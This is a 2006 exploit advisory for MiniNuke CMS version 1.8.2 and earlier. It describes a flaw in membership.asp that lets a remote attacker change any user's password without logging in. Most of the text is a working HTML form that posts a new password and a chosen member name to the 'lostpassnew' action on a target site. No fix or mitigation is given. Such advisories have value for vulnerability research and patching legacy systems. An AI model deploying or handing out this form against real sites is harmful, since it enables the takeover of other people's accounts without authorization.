--Security Report-- Advisory: MiniNuke CMS System <= 1.8.2 (membership.asp) remote user password change exploit --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 12/01/06 08:49 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx@xxxxxxxxxx Web: http://www.nukedx.com } --- Vendor: MiniNuke (www.miniex.net) Version: 1.8.2 and prior versions must be affected. About:Via this method remote attacker can change any users password without login. --- How&Example: HTML Example [code] <html> <title>MiniNuke <= 1.8.2 remote user password change</title> <form method="POST" action="http://[SITE]/membership.asp?action=lostpassnew"> <table border="0" cellspacing="1" cellpadding="0" align="center" width="75%"> <tr><td colspan="2" align="center"><font face=verdana size=2>Now fill in the blanks</font></td></tr> <tr><td colspan="2" align="center"><font face=tahoma size=1red>Change password </font></td></tr> <tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD: </font></td> <td width="50%"><input type="text" name="pass" size="20"></td></tr> <tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD Again : </font></td> <td width="50%"><input type="text" name="passa" size="20"><input type="text" name="x" value="Membername"> <input type="submit" value="Send" name="B1" style="font-family: Verdana; font-size: 10px; border: 1px ridge #FFFFFF; background-color: #FFFFFF"></td></tr> </table></form> </html> [/code] -- Regards, From the NWPX team, nuker a.k.a nukedx